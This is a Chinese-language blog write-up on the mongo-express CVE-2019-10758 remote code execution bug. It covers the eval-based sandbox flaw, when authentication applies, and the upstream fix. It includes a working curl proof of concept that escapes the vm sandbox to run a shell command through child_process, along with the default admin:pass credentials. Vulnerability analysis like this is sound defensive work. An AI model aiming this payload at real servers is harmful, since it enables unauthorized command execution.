这样的室友给俺也整一个
早上室友说发了一则mongo-express的预警,正好看到陈师傅也发了twitter,动手分析一下,如有差错还望指正
漏洞复现
漏洞环境:
https://github.com/mongo-express/mongo-express#readme
https://github.com/masahiro331/CVE-2019-10758
自己从官方拉到本地+mongodb的服务端或者docker起一个未授权的mongo端都可以,poc直接就能打出来
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
漏洞触发点
文件express-mongo/node_modules/mongo-express/lib/router.js
进行路由事件的方法绑定
路由事件checkvalid对应的方法在文件express-mongo/node_modules/mongo-express/lib/routes/document.js
,调用了toBSON
在toBSON函数中将传入的参数放进vm沙箱里去eval
exports.toBSON = function (string) {
var sandbox = exports.getSandbox();
string = string.replace(/ISODate\(/g, 'new ISODate(');
string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');
vm.runInNewContext('doc = eval((' + string + '));', sandbox);
return sandbox.doc;
};
绕一下vm逃逸出来沙箱即可,详情可以看这篇文章Sandboxing NodeJS is hard, here is why
其他触发点
还有一处对mongo传值的地方也存在bson的问题,只是要校验是否存在数据库&表名,利用起来没有checkValid的链方便,不过大多数mongo库都会存在local的库+start_log这个collection
需不需要验证
mongo-express
把原始config对象写在config.default.js文件中。
漏洞分析中的poc需要进行权限鉴定,也就是poc中使用了请求头Authorization: Basic YWRtaW46cGFzcw==
的原因。删掉后请求则会返回未授权
但是如果以cli+指定用户形式启动服务端与mongo的连接时,则不需要授权也能打(个人认为这种方式更常见一点?)
下面是关于mongo-express调用basic-auth-connect
的认证简单分析
认证流程分析
程序入口逻辑是这样的,如果你程序启动的时候给一个-u&-p参数则config.useBasicAuth
为false,而config.useBasicAuth
在加载配置的阶段默认为true
if (commander.username && commander.password) {
...
config.useBasicAuth = false;
}
接着看文件express-mongo/node_modules/mongo-express/lib/router.js
,根据config.useBasicAuth
的值绑定一个basicAuth
中间键,如果初始启动程序的时候没有-u/-p参数,则获取配置文件的username&password(默认为admin:pass)来进行绑定
这里假设我们启动程序的时候默认不传入-u/-p,则步入basicAuth
函数。这里定义了两个全局变量username
&password
,来存储配置文件的用户名密码。
module.exports = function basicAuth(callback, realm) {
var username, password;
// user / pass strings
if ('string' == typeof callback) {
username = callback;
password = realm;
if ('string' != typeof password) throw new Error('password argument required');
realm = arguments[2];
callback = function(user, pass){
return user == username && pass == password;
}
}
realm = realm || 'Authorization Required';
return function(req, res, next) {
var authorization = req.headers.authorization;
if (req.user) return next();
if (!authorization) return unauthorized(res, realm);
var parts = authorization.split(' ');
if (parts.length !== 2) return next(error(400));
var scheme = parts[0]
, credentials = new Buffer(parts[1], 'base64').toString()
, index = credentials.indexOf(':');
if ('Basic' != scheme || index < 0) return next(error(400));
var user = credentials.slice(0, index)
, pass = credentials.slice(index + 1);
// async
if (callback.length >= 3) {
callback(user, pass, function(err, user){
if (err || !user) return unauthorized(res, realm);
req.user = req.remoteUser = user;
next();
});
// sync
} else {
if (callback(user, pass)) {
req.user = req.remoteUser = user;
next();
} else {
unauthorized(res, realm);
}
}
}
};
在这之后的所有请求则必须都要有req.headers.authorization
,来与全局变量username
&password
比对进行认证,否则返回Unauthorized。
所以要想不进入basicAuth
函数,只需要config.useBasicAuth = false
cli启动-未授权
在mongo-express中还有一种启动方式,即用命令行传递参数。
由于poc中,用docker拉的mongodb默认是未授权的形式,所以不需要-u&-p来指定数据库的账号密码。但是实际环境中mongodb不太可能是未授权,所以我觉得以cli+参数启动服务的场景应该算是多见吧。
那么如果受害者指定了用户名&密码去启动express-mongo,那么攻击者直接未授权就可以打(即不需要指定authoriza header)
不过在官方文档中给出了一句话:
You can use the following environment variables to modify the container's configuration
因为config.default.js默认会从环境变量中加载mongodb的用户名&密码,这样无需参数就能启动服务,也顺便避免了未授权的问题
官方修复
https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2
在0.54.0中将bson.js中的vm依赖删除,改用mongo-query-parser